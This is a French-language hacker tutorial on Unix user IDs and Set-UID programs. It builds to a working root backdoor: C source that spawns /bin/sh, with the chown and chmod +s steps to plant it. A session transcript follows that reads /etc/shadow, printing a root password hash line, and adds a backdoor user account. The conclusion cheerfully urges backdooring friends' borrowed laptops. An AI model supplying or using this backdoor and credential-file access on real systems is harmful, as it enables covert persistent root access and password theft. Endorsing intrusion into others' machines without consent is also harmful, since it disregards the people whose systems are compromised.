_________
_____/ INTRO
\_________________________________________________
Sous *NIX chaque utilisateur a un UID (User IDent) qui le definit et limite ses possibilités d'interaction avec le système. Par exemple certaines commandes sont reservées au root (UID=0), et un utilisateur de base ne peut pas les effectuer (ex: $cat /etc/shadow).
Il en est de même pour les processus (pour ne pas dire programmes) car rappelez vous, quand vous avez un shell c'est parce qu'un processus bash (ou ksh...) tourne. Et bien sûr il a l'UID de l'utilisateur car il serait dangereux que le processus d'un utilisateur possède plus de droits que l'utilisateur lui même. Imaginez un processus ayant les mêmes droits que le root mais lançable par un utilisateur de base (ex: UID=500), ce serait sacrément dangereux. C'est là que le Set-UID entre en jeu mais nous y reviendrons plus tard.
Pour voir quel processus tourne et quel UID il a il suffit de faire un "#ps -aux". Et si vous voulez voir a quelles barrieres vous etes confronté quand vous n'avez pas assez de droits pour executer une commande, essayez de faire un "$cat /etc/shadow | more".
Chaque processus a trois
identifiants utilisateurs:
- UID réel
(UID-R mais on va l'appeler UID tout simplement)
- UID effectif
(UID-E)
- UID sauvegardé
(UID-S)
Ces trois identifiants
différents n'ont lieu d'être, vous vous en doutez, que si
un processus peut changer d'état. En gros, que s'il peut passer
par exemple d'un UID=0 a un UID=500 et ensuite pourquoi pas a un UID=0.
Mais pourquoi un programme voudrait changer d'UID? Bien il y a plusieurs
raisons à cela et dont une dont vous devez vous douter:
* augmenter l'UID:
- pour
accèder à des fichiers reservés au root ;)
- pour
utiliser des perifériques
- ....
* baisser son UID:
- Eviter
qu'avec des h/b/s overflow sur des démons que l'attaquant deviennent
root
- Charger
des préférences utilisateurs (de l'user ayant l'UID que le
processus reprend)
- ....
Mais bien sûr n'importe
quel programme ne peut pas s'augmenter son UID-R comme il veut, ce serait
trop simple pour d'éventuels attaquants et serait à chier
niveau sécurité. C'est pourquoi la valeur de votre UID-R
ne peut etre inferieure à votre UID-S. L'UID-R et l'UID-E pouvant
changer assez facilement par des appels à setuid(), à seteuid()
ou à setreuid() en C sous Linux (ou BSD pour les deux derniers seulement).
_______________________
_____/ DANS LE VIF DU
SUJET: \____________________________________
Revenons en au Set-UID. Cette commande permet a un processus ayant n'importe quel UID de lancer un processus Set-UID quel que soit l'UID de celui ci. En gros un programme Set-UID peut être lancé par n'importe qui ayant les droits en exécution sur celui ci mais ce programme aura L'UID de son créateur et non de la personne l'ayant lancé.
Notre interet ici va donc être de passer d'utilisateur de base a root en executant un programme. Mais comme je viens de l'expliquer, le processus Set-UID a l'UID de son créateur donc pour que cela puisse être interressant il faudra qu'à un moment ou à un autre vous passiez root par un autre moyen que celui ci. C'est pour cela que le Set-UID n'est utile ici que pour backdoorer. Pour rendre un processus Set-UID il faut juste changer ses droits ("chmod +s").
Passons à la pratique:
* mise en place
de la backdoor:
#vi backdoor.c
#include <stdio.h>
main()
{
system("/bin/sh"); /*on utilise system() car il ne rend pas la main comme
execve()*/
return(0);
}
:wq!
#cc backdoor.c -o backdoor
#chown root.root backdoor
#chmod +s backdoor
* Utilisation de la backdoor:
$./backdoor
bash#
* Enjoy: ;)
$more -1 /etc/shadow
more: /etc/shadow: Permission non accordée
$./backdoor
bash# more -1 /etc/shadow
root:$1$RZbThu6R$C3jvRUifrD5Dxihov20.Iu:11174:0:99999:7:-1:-1:134549460
q
bash# adduser backdoor
bash# passwd backdoor rootme
bash# exit
$
_______________
_____/ CONCLUSION:
\____________________________________________
Voila vous êtes
root. Le "bash#" indiquant que vous avez le "même" shell que le root
et bien sûr les mêmes droits. Je ne vais pas vous expliquer
l'intérêt de faire des backdoors mais s'il y a bien quelque
chose de fun c'est de backdoorer les machines des potes quand par exemple
ils vous pretent leur portable pour une semaine :) et qu'il prennent six
mois à la rendre à nouveau sain (ah? Vous vous reinstalleriez?
hihihi Enjoy :)
Coding Is Not A Crime